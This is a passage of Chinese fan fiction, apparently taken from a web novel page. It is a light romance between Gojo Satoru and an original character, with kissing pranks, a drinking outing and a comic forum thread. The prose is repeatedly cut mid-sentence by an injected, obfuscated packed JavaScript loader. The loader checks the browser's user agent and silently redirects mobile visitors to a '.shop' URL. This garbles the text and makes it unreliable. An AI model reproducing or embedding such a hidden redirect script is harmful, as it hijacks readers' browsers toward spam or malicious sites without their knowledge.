虽然睡在五条家为她准备的房间里也并无不可,但其他侍者还有一些老人家似乎对她十分感兴趣。呆在那房间里,她都能感觉这周围全是人,由于敏锐的五感,她都能听到不同方位传来的刻意压低的窃窃私语。 人味也太重了。 相比之下,五条悟房间周围倒是一片静谧。显然,五条家的人都清楚这位大少爷感官敏锐,脾气暴躁,因此都识趣地避开,不敢打扰他的清净。 闲话不多说,她随手解开外层和服,露出里面素净的长襦袢。海月遥掀开被子准备进去,却被五条悟紧紧拉住。 五条悟整个人都红透了,甚至连那冷白的指节处都透着一抹淡淡的粉红。他紧咬着牙关,捍卫着自己的最后一道防线。 “你的床很大,睡两个人完全没问题。”海月遥耐心地解释,“我的睡相很好。” 当然,这后半句话她自己也无从验证,毕竟在此之前,她从未与别人同床共枕过。 “这不是重点!”五条悟高声反驳,“你突然为什么要睡我?!” “人味太重了。”她简洁地解释,可看起来愚昧的悟似乎没有明白她的意思。海月遥又懒得说话了,开始掀被子。 “等、等一下啊!遥!”“为什么不让我睡?”“进度也太快!!!”“都是恋人了,为什么不能睡?”“啊……我……不是,没有……”“直说。”“没准备那个……” 睡觉要准备什么?难道大家族少爷睡前还要沐浴焚香? 海月遥露出匪夷所思的表情。 上面的被子被他守住,她就从下面进攻。 海月遥把枕头往他脸上一扔,不知道为什么没被无下限挡住,结结实实砸在他脸上。她也不在意,从床尾钻进去,整个人被邪恶的被窝吞噬,直至完全消失,床上只剩下一团隆起的被子。那被子团开始从床尾缓缓移动。 五条悟扒开脸上的枕头,立刻掀起被子查看,发现海月遥正半跪着往床头爬来。他下意识地摸了摸鼻子,还好,这次没有流鼻血。 海月遥没理会他,放好枕头后,便安详地闭上了眼睛。 时间一分一秒地过去。 过了一分钟,十分钟,半小时…… 身旁传来均匀的呼吸声,五条悟脑中充满了疑惑。他原本滚烫的身体也逐渐恢复成正常温度。一个念头在他脑海中回荡: 就这? 她不是说要睡他的吗? 他既松了口气,又有些不甘。他愤愤地瞪了眼身旁安睡的少女,甚至开始用最坏的想法来揣测她: ——这家伙只是在耍他。 坏女人,坏女人,坏女人! 他心中暗骂,却仍小心翼翼地握住她的手,渐渐地陷入沉睡。 直到他被压醒,呼吸变得困难。迷迷糊糊地睁开眼,他发现海月遥正趴在自己胸口,而之前她明明在离他一段距离的地方。 她明明信誓旦旦说自己睡相很好! 五条悟本想推开她,却低头被海月遥安静的睡颜吸引。 可爱。 他轻轻拨开她如夜的发丝,抚摸着她的侧脸,指腹轻触她上挑的眼尾,似乎想要将她的每个细节都印在心底。 太过可爱。 这次姑且就放过她。 但是…… 在这寂静的黑暗中,他低下头,仿佛是在亲吻她冰凉的发顶,声音低沉而清晰,一字一句地呢喃: “如果你背叛我,出轨杰的话……” “我永远不会放过你的,遥。” 原本熟睡的海月遥听到自己的名字,恍惚间睁开眼,对上他的目光。 这漆黑的环境里,他的六眼蓝得发亮,一眨不眨地盯着自己,渗人极了。 她顿时睡意全无。 “啪!” 等她回过神来,已经一巴掌挥了过去。 “你为什么打我?!”五条悟捂着被打红的脸,委屈地问。 “抱歉……”海月遥心虚地挪开目光,稍稍撑起身体,坐在他的腰间,给他治好伤后又敷衍地揉了揉,才把炸毛的白毛安抚下来。 “我刚才听到你叫我。”她试着换了个话题,“有什么事吗?” “没事。”他说完就紧闭双唇,一言不发。 海月遥:“说。” 五条悟:“不。” 这反应显然有隐情。海月遥心想,再次催促:“快说。” 五条悟模仿她的日常语气回答:“0。” 他竟学起自己的说话方式!海月遥强忍住给他一巴掌的冲动,面无表情地揪住他的衣领,迫使他坐起,冷淡地命令:“说。” “不——要——”看见她表情转冷,他反而笑嘻嘻地拉长声音,“你求我,我就告诉你~~” “求你。”海月遥不觉得这两个字有何不妥。 五条悟一愣,没想到她这么爽快,但还是不满地撇嘴:“一点诚意也没有。” 这个白毛混蛋真烦人。 海月遥脸上依旧毫无波澜,但想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就比如现在,走在路上,他会突然从背后抱住她,全然不顾自己一米九二的身高,将全身重量压在她身上。恍惚间,她觉得自己仿佛在背着五条悟行走。但转念一想,他比她高出太多,更贴切的说法应该是她在拖着他走。 “陪我看樱花——”他拉长声音撒娇。 “悟,你之前不是说不怎么喜欢樱花吗?”她挣扎着前行,面无表情地提起第一次去他家时的问题,当时他只回了句“一般”。 “现在喜欢了。”他淡淡回应。 “我还是不想去。” “为什么?为什么?为什么?”他连声追问,非要她答应不可。“为什么不陪我去看樱花?” “人味太重了。”她嫌恶地皱眉。 “那就去我家吧,我家也有樱花。”五条悟图穷匕见。“你想吃的点心也给你安排。” 海月遥感到诧异,她看起来像是会被点心轻易诱惑的人吗? 她可不像五条悟那般没有原则。 “0。”秒拒。 “还会有黏人的猫咪。” “1。”秒答。 看来,她的原则也并不是那么坚定。 “太好了~” 话音未落,他侧过头,在她侧脸上吧唧一口,印下一个响亮的吻,声音大到让旁边经过的怪刘海露出了难以言喻的复杂表情。 五条悟朝他挑衅一笑。 海月遥也侧头看去,却被炸毛的大猫捂住眼睛:“不许看!” 海月遥:……? 18.悟线后日谈(一) 海月遥并不太喜欢接吻,然而五条悟却对此情有独钟。为此,她尝试了各种方式来引导孩子减少对接吻的兴趣。 比如,亲吻时故意咬他。 尽管她咬得有些重,咬出血了,他却并未表现出太大的反感,反而显得相当习惯,甚至有时会得意地调侃她:“你就是馋我的身子。” 海月遥反驳道:“你对你的身体就这么有信心吗?” 五条悟脸上的笑容逐渐消失,转移到了她的脸上。接着,这个混蛋家伙突然将她罩进自己的T恤内,让她与他的身体零距离紧密接触。他锲而不舍地大喊: “你就是馋,别装了!” 海月遥:…… 迟早哪天要被他闷死。 她狠狠地掐了他一下腰,他疼得倒吸气,却仍大声嚷嚷:“你肯定馋我!” 看来想让这个固执且不怕疼的白痴反省自己是不可能的。海月遥决定采取第二个方案。 …… 这一天,她一边吃着绿舌头冰淇淋,舔着含着,旁边一只一米九的大型生物目不转睛地盯着她,看着看着还自己脸红了起来。 海月遥不明白他为什么如此频繁脸红。 也许悟体内有个内燃炉,需要时便制造热气,让他到合适或者不合适的时候程序化地脸红。她猜测到。 “悟……”她刚开口,便见他摘下眼镜,目光灼灼地凝视自己。 像小狗一样,海月遥心中暗想。 由于初次接吻的尴尬经历,两人现在都明白接吻前需摘眼镜,避免撞到痛。谁让他们平日都戴着眼镜呢? 摘眼镜似乎成了他们之间一个默契的信号——更多是五条悟单方面的。 目前,他发出了想要亲吻的信号。原本她打算不理会,但突然灵机一动,她咬下一截尚未融化的冰棍,主动踮起脚尖。 “唔……!” 一开始,那冰淇淋还是冷的、硬的,在这四月的天气里显得过于冰凉。对于两个人来说,他们都不太适应这种温度的交换,仿佛是在相互让渡着这块带着寒意的甜蜜。 可甜味逐渐在唇齿间蔓延,渐渐地,它化成果冻一样的质感,冰冰凉凉的,又带着一种软软的触感,在两人的舌头间搅动着。 一面是温软的舌头,一面是冰冰凉凉的果冻冰淇淋…… 奇妙的感觉。 如果要海月遥来评价这个吻,她或许会觉得像是三个人在接吻一样。当然,这在现实中是不太可能实现的,只是她的一种恶意揣度。 一吻结束后,海月遥将那块已经化掉的冰淇淋吐到纸巾上,包好扔掉。做完这些后,她朝还在愣神的五条悟恶劣地一笑,吐出了被染成绿色的舌头。 “现在你也被我染上颜色了。”她得意地说道。 看着五条悟那同样被染绿的舌头,海月遥心中涌起一股恶作剧得逞的快感。 怎么样?是不是觉得怪怪的,不想亲了? 她期待地看向他,可在她的注视下,他的脸侧翻滚着犹如晨曦的红云,抿紧那形容姣好的唇,又愣愣地开口:“……再来一次。” 为什么啊?! 海月遥大惊。 …… 是悟逼她的。 海月遥决定启用压箱底的方案三。 她神情凝重,趁五条悟不备,迅速将一大块芥末挤入口中,紧接着跃起,紧紧环住他的脖子吻上去。 完全不给他反应过来的时间! 快狠准! 这次绝对有用! 至少,她从未见过五条悟如此剧烈地挣扎,甚至不惜动用术式。 但是她也有波纹!海月遥双腿如同铁钳一般锁在他的腰间,双手更是死死地勒住他的脖子,主打的是每个人都别想好过! 杀敌一千自损一千! 强烈的辛辣味在接吻的瞬间如狂风骤雨般扩散开来,呛得两人鼻酸不已,辣得舌头发麻,仿佛有千万根针在刺扎。 呼吸变得异常艰难,每一次吸气都如同经受刀割之痛,窒息感逐渐侵蚀着他们的大脑,剥夺着他们最后的理智。 此刻,两人之间的动作已经难以分辨到底是在接吻还是在打架。 五条悟双手使劲,想要将她推开,但海月遥铁了心,死死地抱住他,任由肩膀被捏得生痛也绝不松手。 唇齿间的争斗愈演愈烈,原本温柔的接吻已变得粗暴无比。血腥味开始在空气中弥漫开来,原来是彼此的嘴唇在争斗中已破裂出血,而这伤口又使芥末的辛辣感愈发强烈。 等辛辣感彻底在两人唇齿间彻底化开,海月遥才心满意足地松开手,幸灾乐祸地望着五条悟慌忙寻水的身影。 “你有病啊!!!” 他边灌水边骂,可是此时威力已经大打折扣。他被呛得眼泪直流,眼尾泛红,他吸了吸鼻子,声音带着些许的颤抖,不知是出于委屈还是被芥末呛到了。 “太弱了,太弱了~” 海月遥看着他这副模样,虽然自己也同样被呛得眼泪汪汪,却仍忍不住嘲笑他。 由于她本人对辛辣的接受程度很高,所以这局无疑是海月大人的胜利! 五条悟蹲在她身边开始自闭。 一米九二的那么大一只,蹲在那个角落,试图蜷缩成一小团,雪白的发丝也垂头丧气地垂下。他双臂环抱住自己,将脸深深地埋藏起来,完全看不清他的表情。整个人就像一只淋了雨、躲在小巷里躲雨的流浪猫。 时间一分一秒地过去,他始终保持这个姿势,一言不发。 超级可爱。海月遥面无表情。 “悟?悟?悟……” 她喊了好几声他也不回应。 但海月大人有的是耐心。 她一会儿戳戳他的后背,试图引起他的注意;一会儿又推推他的肩膀,希望他能够抬起头来看看自己。最后,她干脆蹲在他面前,伸出手想要把他的脸捧起来,准备向他道歉。 “悟——唔!” 他以迅雷不及掩耳之势往她嘴里挤芥末。这是他趁着找水的时候偷偷拿的。 猝不及防吃了一大口芥末的海月遥:! 她半跪在地上,几乎是在干呕,紧接着又剧烈咳嗽起来,大量的生理性泪水无法控制地流淌下来。 “哈哈哈!”五条悟捧着肚子,一手指着她,第一时间赶到现场嘲笑。 “笨蛋!白痴!呆子!”他开始用自创的曲调高声唱道:“笨蛋~笨蛋~遥是笨蛋~” 唱得还挺好听。 可恶!这个白毛混蛋! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“遥你这个笨蛋……”五条悟吸吸鼻子,晶莹的眼泪从他眼角溢出,又被他眼疾手快地擦去。他一边收拾残局一边没好气地骂她,“脑子坏掉了吗?为什么要含着芥末kiss?” 海月遥毫不留情地回怼:“就是因为悟一直要亲,太烦了。” 她感觉眼睛不舒服,想要揉揉眼睛时,手腕却被五条悟牢牢握住。她眨了眨眼,那双猫眼里水光潋滟,语气冷淡:“我不要和你亲。” “为什么?!”他相当不满,“为什么不跟我亲!”难道和他kiss不舒服吗?还是说她想要和别人一起?!在五条悟看来,能和自己这样一个超级大帅哥kiss,明明是这个坏女人的幸运,可她却并不知足。 两个人像个小学生一样,也不知羞,满口亲啊抱啊开始互骂。 “亲着亲着你又……”海月遥满口抱怨,“而且后面嘴巴也干,身上热,不舒服,心跳也快……” 她一直抱怨着,说个不停,五条悟的脸也越来越红。 等等,这个反应……她难道毫无察觉?他惊愕地望向她。 “那,那我们要不试试吧!”他紧握住她的手腕,为掩盖自己的心虚,声音提高几分。 试什么? 海月遥一脸茫然。 19.悟线后日谈(二) 人,是可以驯服的。 海月遥时常觉得自己的恋人像只小狗。 罢了,加个“小”字会显得他更可爱,让他知道非得鼻子翘天上,她默默把“小”字划掉。 五条悟就是狗。 她在心中满意地想。 …… 不知为何,五条悟和夏油杰毕业后都选择留校任教。至于家入硝子,本就会留在高专,作为咒术界大后方唯一的治疗人才保护起来。 而海月遥,她自认为不是当老师的料,毕业后就是自由咒术师,偶尔接些任务搜集实验素材。 当然,问做的什么她也不说,三人合理怀疑她在酝酿什么大计划。不过,他们只求海月大魔王别毁灭世界就好,期望已降到最低。 有空时,他们也会聚在一起。 …… “夏油就算了,五条竟然也……”家入硝子大喝一口生啤,四人正围坐在居酒屋内闲聊。 当然,某位白毛成年人面前放着的是蜜瓜苏打,旁边还配着黄油土豆、炸薯条和炸鸡块作为小食。他这种类型,大概就是会跟着大家一起去家庭餐厅,然后吵嚷着要点儿童套餐,还得插上小旗子的那种吧? “硝子,你对我有什么不满吗?”五条悟努力在薯条狂热粉海月遥的攻势下,保护着自己面前仅剩的几根薯条。但后来发现实在难以抵挡她的全方位进攻,于是反守为攻,开始疯狂地往她嘴里塞薯条,很难不说是报复。 夏油杰给皱着眉嫌脏的海月遥递过湿巾。 然而,那张湿巾被五条悟半路截走。他一把接过,大声对夏油杰说:“谢谢杰!”然后就拿着往自己恋人脸上糊去。 海月遥毫不客气地准备给他一拳,五条悟自然也不退让,两人在那里打闹起来。 都是成年人了,却还像两个小孩子一样。 夏油杰只是不在意地笑了笑,侧头朝家入硝子问道:“这家店怎么会有蜜瓜苏打?” 家入硝子含笑瞥了他一眼:“常客有人带小孩来,所以菜单里饮料和甜品不少,对五条挺友好的。” “我是小孩子吗?!”五条悟头也不抬地反驳道,同时试图把剩下的炸鸡块塞进海月遥嘴里——这女人手真快,刚才还挤了芥末上去。显然是希望五条悟不注意,然后吃进去。 “本来就是。”家入硝子随口拌嘴,喝酒的速度堪比如打篮球后的学生猛灌矿泉水,转眼就一杯见底,可绕是这样,她动作却相当优雅,那张清丽的脸也没有染上一丝绯色。 一杯对她来说,或许只是不痛不痒。 夏油杰心细,立刻为她续上一杯。 “谢谢夏油妈妈啦~”她调侃着,无视夏油杰的“我可没养过这么大的孩子”,转而对海月遥示意,“遥,试试这家‘二重泷壶’如何?可是隐藏名产哦。” 正大口偷吃着五条悟钟爱的黄油土豆的海月遥,一听“隐藏”两字立刻抬头,含糊地应了声“1”,用脸上的湿巾一抹嘴,便自斟了杯清酒。 相比生啤,她更偏爱清酒。 “酒有什么好的?” 五条悟见她不理睬自己,不满地撇嘴,却遭到其他三人异口同声地调侃: “看吧,悟就是小孩子嘛~” 这位在外声名显赫的特级咒术师,在三人眼中却如同一个未长大的孩子。这也是难以避免,毕竟他们共同度过了那段青春岁月。无论外表多么成熟,彼此相视时,总会闪过记忆中那稍显稚嫩的脸庞。 当然,这或许也与五条悟只愿将最柔软的一面展现给这三人有关。 “一群喝了酒就自以为成熟的笨蛋。”他小声嘟囔,随后提高嗓门喊道,“杰,把冰淇淋推给我——” “好嘞~”年纪最小的夏油杰肩负起照顾全家人的重任。 海月遥头也没抬:“杰,菜单。” 夏油杰刚应声,五条悟就猛地站起身,凭借长手长脚的优势轻松够到了桌子对面的菜单,然后气呼呼地甩给了海月遥。 她可不会惯着这个超龄儿童,没理他,点了些酒和下酒菜。 五条悟似乎并不想就此罢休,追问道:“你就没什么想说的吗?” 一向注重礼节的海月遥淡淡回了句:“谢谢。” “切。”五条悟显然并不满意。 等点的东西上桌后,海月遥带着虔诚的心态品尝起这家的隐藏品。 果然不愧是硝子推荐的,无论是味道还是分量,都让她感动不已。她暗自打算以后找个机会甩开悟,和硝子痛痛快快地喝个通宵。 五条悟:……? 他并未察觉到恋人想要甩开他、夜不归宿的愿望,只是惊讶地看着她一杯接一杯地喝着,仿佛只是在灌水,脸上依旧苍白倦怠,眼神却清明如水,毫无醉意。 他大呼小叫地感叹着,一边摸着她柔软的小腹,好奇它到底有没有被酒水撑起来。海月遥懒得管他,又把目标转向下一份拉面。 拿主食当下酒菜,这种做法不算常见。家入硝子轻笑一声,手撑下巴提醒道,“遥,我们俩可是要喝遍每家的酒,别早早就撑不住了~” “怎么,这是个不喝醉就永远不能回家的游戏吗?”五条悟反问。 夏油杰叹了口气,配合地说:“那我岂不是输定了。” 毕竟两位女士都是酒豪,五条悟只喝无酒精饮料,他这唯一的正常人混入了这支队伍。 “杰,你干脆跟我一样喝蜜瓜苏打吧。”五条悟开始推销,“上面再挤点冰淇淋,味道更棒。” “有悟一个小孩就够了。”夏油杰松开原本的头绳,将半披的丸子头改为高马尾,下定决心奉陪到底。相比之前的随性慵懒,他现在更显洒脱干练,“我努努力,还是能比你晚退场的。” “噗。”某个三无人士忍不住笑出声。 “接下来的居酒屋可不一定有小孩喝的饮料了,五条还是早点自己回去吧。”家入硝子也加入嘲笑他的行列。 竟然三个人联手对付他! 五条悟觉得这群人简直不可理喻。 所有人都忽视了他的反驳。 拉面终究是汤面,尚未动筷,热气已扑上冰凉的眼镜,海月遥的镜片上顿时蒙上一层白雾。 真是麻烦…… 海月遥刚摘下眼镜,准备擦拭时,五条悟却突然捧起她的脸,深深吻了上来。 短暂的唇齿交缠。 她并不反感,只是感到无语,侧头看向五条悟,眼神中带着询问。 “摘眼镜不就是为了亲吗?”他反倒委屈起来,“你干嘛瞪我?” 此时,海月遥脑海中浮现的不是愤怒,也非笑意,而是一个冷静的想法: 狗。 或许有人知道巴甫洛夫的狗。 海月遥陷入了对人类条件反射形成以及被驯养可能性的思考。 家入硝子瞥了眼正在低头喝酒的夏油杰,没说什么,又转向五条悟,浅笑道:“五条,你还能撑得住吗?” 他有什么撑不住的?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656505|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 海月遥从胡思乱想中回神,看向旁边脸红的五条悟,此时他眼神有些涣散,身上咒力也有些波动起来,表现为桌上的东西忽而朝他聚拢,忽而又远离他。 真的假的? 听过间接接吻,没听过间接喝酒啊? 这就醉了?真就滴酒不沾? 她惊讶地握住他的手,用波纹平复他不稳的咒力。谁知,这家伙竟然直接坐过来,趴在她腿上,闭上眼睛,像是安详地睡去了。 “硝子,抱歉,看来这是今天最后一家了。”海月遥一手顺着他毛茸茸的白发,一手准备快速解决那碗拉面。 “没事没事,夏油会陪我喝到最后。”家入硝子不在意地摆手,“对吧,夏油?” “那我得加油了。”夏油杰眯眼笑道,“希望硝子能手下留情。” 海月遥低着头,花了三分钟吃完了面,然后一口气喝完了五条悟剩下的蜜瓜苏打,差点噎到。 “我先和悟回去了。”她半扛起五条悟,向两人道别。 “OK。”“路上慢点,注意安全。” “1。”海月遥表示知道,带着大只人离开。 他们刚走不久,家入硝子就笑着调侃夏油杰:“你倒是挺能忍的。” 夏油杰无奈地摊摊手:“没办法啊,我被她毫不留情地拒绝了。” 他们交往的第二天,海月遥就单独找过他,郑重其事地拒绝了他之前那句不经意的告白。他很少见到那个一向面无表情的幼驯染脸上露出那种无措混杂着愧疚的神情。 “你真的放下了吗?”家入硝子问道。 夏油杰笑了笑,没有说话。 家入硝子:“你和悟一样,都还是个孩子。” “说得这么狠啊。”夏油杰苦笑。 “事实而已。”家入硝子瞥了眼他的表情。 幸好遥是和五条在一起,如果是别人,夏油这个人渣肯定会想方设法去撬墙角吧?她不负责任地想,然后又抽出一根烟。 …… 海月遥扛人到半路上,这只大块头才渐渐清醒,至少能自己站立了。 “悟,你之前没醉吧?”她皱眉问道。 “很明显?” “1。” 以前和他在一起时,他偷喝一口就醉,像树袋熊一样粘在她身上,又是乱摸又是乱啃,最后还非要抱着她睡觉。 这次他这么安静,实在不像他的作风。 其实那次也没醉的五条悟:哎嘿。 “被说是孩子就这么生气吗?”她不明白五条悟这家伙为什么要装醉。 “因为你们等会儿肯定要撇下我去喝酒~我才不愿意呢。”他拖长声音抱怨着。 怎么可以趁他不在去和杰喝酒呢! 家入硝子:? “哦。”确实想过撇开五条悟,和家入硝子大喝一晚上的海月遥,平静地移开视线。 五条悟眼尖,高声喊道:“你果然这么想过!别看转移视线!” 海月遥:“0。” 两人嬉笑着,一路推搡回去。 …… 晚上,待海月遥沉沉睡去,五条悟便开始了他的日常活动——给她洗脑。 “不许出轨,只能喜欢五条悟一个人。” “这世上,你最爱的人应该是五条悟。” “海月遥只能对五条悟动心。” “啪!” 一记耳光落下,世界终于恢复宁静。 晚安。 20.悟线后日谈(三) 主题:【急急急!老婆半个月不回来!我一生气就偷吃了!结果她今天刚好回来撞见现场!该如何取得原谅!!!】 楼主:求助,对象攒了半个月的布丁放冰箱里,她非常喜欢,每天一个不同口味。但今天我不小心全吃掉了。现在她快回来了,我怎么做才能不让她生气?其实也不是很急~ 1L:不是黄色就不要放出来耽误大家时间,网友的时间也是时间 2L:渣男去……哦,没事 楼主回复2L:嘻嘻:) 4L:爱过,不在,舔瓶盖,劝分 5L:呵呵已举报,楼主引流卖货 楼主回复4L:滚 楼主回复5L:滚 8L(楼主):怎么没人解决我的问题?不是说网上大家都特别友善吗?怒 9L:楼主,方便透露一下你的长相吗? 楼主回复9L:帅得惊天动地,绝世大帅哥 11L:TD 12L:有、有我帅吗…… 附图:黑大帅撑腰照.jpg 13L:没图没真相,一律视为河童。 14L:楼主好凶,呵呵举报了,除非爆照 15L(楼主):高清前置,无美颜无滤镜 附图:楼主比耶照.jpg 16L:!!!!! 17L:怒然大勃,怒然大勃啊! 18L:啊啊啊啊嫁给我!!!(尖叫)(扭曲)(阴暗地爬行)(尖叫)(扭曲)(阴暗地爬行)(尖叫)(扭曲)(阴暗地蠕动) 19L:或许你不介意换个老婆(叼花出现)(被玫瑰刺破嘴角)(血流不止)(大呼小叫)(黯然退场) 20L:兄弟你好香…… 楼主回复19L:滚 楼主回复20L:滚 23L:楼主,给你支个招。等对象要发火,你马上装委屈、撒个娇,用你的帅脸对着她!这样肯定能让她消气,说不定还能骗到个亲亲(PS:楼主,你要不要考虑换个老婆?比如说我) 24L:我也想有一个一米八五,八块腹肌,长得大帅的白皮男大朝我撒娇…… 25L:回楼上,满足条件,坐标大阪,期待一段真挚的爱情 26L:滚 27L:大帅的黑皮男大不行吗…… 附图:黑大帅举手照.jpg 28L:滚 29L:半小时过去了,楼主呢? 30L:大概已经用那张脸哄好老婆了,在蜜里调油吧 31L:豹豹妈妈我出生啦~ 32L(楼主):骗人骗人骗人!!!她还是生气了!!! 33L:楼主怎么了?放个耳朵 34L(楼主):我刚抬头想对她撒娇,她直接一巴掌呼我脸上了!!! 35L:呵呵,劝分 楼主回复35L:滚!!! 37L:不应该啊,这么好看的脸,她怎么下得去手扇?把地址给我,我去和她评评理 38L:楼上的,你算盘珠子都弹我脸上了 楼主回复37L:滚 40L:你老婆不会眼光不好吧,不然咋舍得扇那张天怒人怨的脸 41L:楼主用的是网图吧 楼主回复40L:滚 楼主回复41L:滚 44L:为什么我也要滚?! 45L(楼主):她眼光超级好,不然怎么可能选我,嘻嘻~ 46L:MD有病 47L:纯秀恩爱贴,呵呵举报了 48L:好奇楼主老婆长啥样 楼主回复47L:滚 楼主回复48L:滚 51L(戒烟不戒酒版):她刚刚跟我说要和我通宵喝酒,你最好找到合理解释 53L:绿嘿嘿嘿 54L:寄,被熟人刷到了吧楼主 55L:吾等与曹贼何异 楼主回复51L:两个人吗? 楼主回复53L:滚 楼主回复55L:滚 59L(戒烟不戒酒版):三个 60L(楼主):不要不要不要不要——你们三个不可以不带我!!!啊啊啊!!!不许不带我!!!不能孤立我一个!!! 61L:妈呀kdl 62L:楼上你磕啥啊xswl 63L:这题我会,答案选D,4p 楼主回复63L:滚 65L(01):……这就是你刚刚把脸怼上来的原因? 楼主回复65L:你怎么也看到了! 67L:既熟人后,又被老婆本人刷到的 68L:寄寄寄 69L:哈哈哈哈哈哈哈哈哈 70L:你完啦~(那种语气) 71L(01):她告诉我的,你还玩论坛? 72L(楼主):会在上面引战 73L(01):好玩,下次带我 74L:网友是你们play的一环吗??? 75L:网友是你们play的一环吗??? 楼主回复73L:不生我气就带你 77L:图穷匕见 78L:完了,老婆不回了 79L:呵呵,分 80L:楼主也不见了 81L:没有熟悉的滚好寂寞 …… 海月遥放下手机,从房门口探出头,看向里面自闭的一米九大猫。 他刚刚挨了一巴掌,就默默地躲进了卧室,没开灯,背对着门坐着,雪白的发丝在昏暗中特别显眼。 “悟。”她走过去,拍了拍他柔软的发顶。 “不要生我的气啦~”他等她一靠近,就不装了,一把从背后把她锁进怀里,小声道:“我也不是想偷吃你的布丁,还不是因为你一直不回来……” 此前,海月遥一直在研发某样东西。直到某天,五条悟惊讶地发现她成为咒术师,她的秘密成果才浮出水面——稳定的咒术师转换器。 具体制作过程无人知晓,但她耗费了整整八年。这一转换器问世后,她的三名同期立刻意识到了其背后的意义。 足以颠覆咒术界的咒具。 影响将取决于海月遥的使用方式。当被问及此事时,她却轻描淡写地表示任由他们处置。于是,这个重担便落在了他们三人肩上。 加班加点的三人:…… 如今,他们正逐步改变咒术界的格局,而海月遥本人却已投身于其他感兴趣的课题。 五条悟上次见到她,已是半个月前。虽然没能见到她本人,但她的助理或跑腿小弟每天都会送来布丁。她今天回来,也不是为了见他,而是为了那些布丁。 他决定,要把所有布丁都吃光! “不回消息,不打电话……”五条悟抱怨道,“还一回来就要吃布丁!” “我没生气。”海月遥没有挣扎,靠在他的胸膛上,调整到一个舒适的姿势躺了下来。“那些布丁本来就是给你的。” “……哈?!” “最近有点忙,所以每天托人给你带一个。”她这么做是为了避免他误会自己要出轨,同时,海月遥也觉得这是合格对象应尽的责任。“要不然我为什么要送回来,直接就吃了。” 不过,悟以为是她留给她自己的,所以这半个月就没动它吗? 可爱。海月遥心想。 “那你刚刚为什么要打我……” “抱歉……下意识就……”他刚刚突然靠过来的样子实在太像是半夜试图洗脑她时候的表情,一时反应过度就扇了他一巴掌。 她一向自诩公正,便抬起头,摆出一副任他处置的态度:“你可以打回来。” 话音刚落,她的颈肩处就被他狠狠地咬了一口。 鲜血从苍白的皮肤中渗出,但她并没有因为突如其来的疼痛而皱眉,而是拉开衣领,大片肌肤裸露在空气中。她轻轻歪头,靠在他的头旁,一只手温柔地向后抚摸他的侧脸。 昏暗的房间里,两个人就这样安静地依偎在一起,只有浅浅的呼吸声和细微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666738|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的喘息。 “……你今晚要和硝子还有杰去喝酒吗?”他沉默片刻,终于松开嘴,轻轻舔舐着她的血。 海月遥眨了眨眼:“似乎没必要了。” 她一开始还在想,好像自己不小心把家里的这位惹火了,想去问问她该怎么办。毕竟,她放下手机,专心投入自己感兴趣的事情已经半个月,一打开手机,满屏都是未读消息和未接来电。回来后,又不慎给了他一耳光。 虽然海月遥一向恶劣,但这次也感觉自己闯了大祸。她本想立刻道歉,可五条悟却头也不回地跑进卧室。 以前生气的时候,他们通常都是直接动手的…… 这下完了…… 然而,家入硝子告诉她,那个白毛还在论坛上闲逛。 海月遥一愣。 她从头到尾浏览完帖子,眉头逐渐舒展。 所以…… 当她在这里苦思冥想如何道歉的时候,他在论坛上向网友求助,询问如何让对象消气? 完了。 海月遥觉得五条悟实在是可爱。 超级可爱! 宇宙无敌第一可爱! 她转过头,捧起他的脸,吻了上去。 …… 121L(楼主):嘻嘻~ 122L:哟回来啦,两个小时了,消气了吗 123L(楼主):没生气,抱着我亲了两个小时嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻 124L:TD 125L:TD 126L:TD ——已折叠相同发言—— 141L:现在流行把狗骗进来杀吗? 142L:呵呵劝分 143L:又是你啊,呵呵哥/姐? 楼主回复142L:嘻嘻~滚 145L:只有亲吗,蹲个详细过程 楼主回复145L:嘻嘻~滚 147L(楼主):老婆说布丁是特意托人带给我的,都是她觉得好吃的味道,嘻嘻嘻~她还问我喜欢哪种?下次带给我 148L:谁问你了 149L:谁问你了 150L:谁问你了 ——已折叠相同发言—— 167L(楼主):她还说最近不忙工作了,会多陪我 168L:MD受不了本来上班就烦还要看别人秀恩爱你们这些人能不能去死啊啊啊啊啊我要一拳打爆地球打爆地球啊啊啊啊啊 169L:楼上你就下班了?这才几点 170L:在厕所摸鱼呢,公司厕所网还可以 171L:甜甜的恋爱什么能轮到我…… 172L:坐标大阪,期待一段真挚的爱情#一米八#身高一米八#高个子#篮球#腹肌#体育生#说唱歌手#嘻哈#潮流#男神#穿搭#纯情男大 173L:楼上我也在大阪,约吗 174L:滚呐!!! 175L:又是玩抽象的,碰上真抽象的了 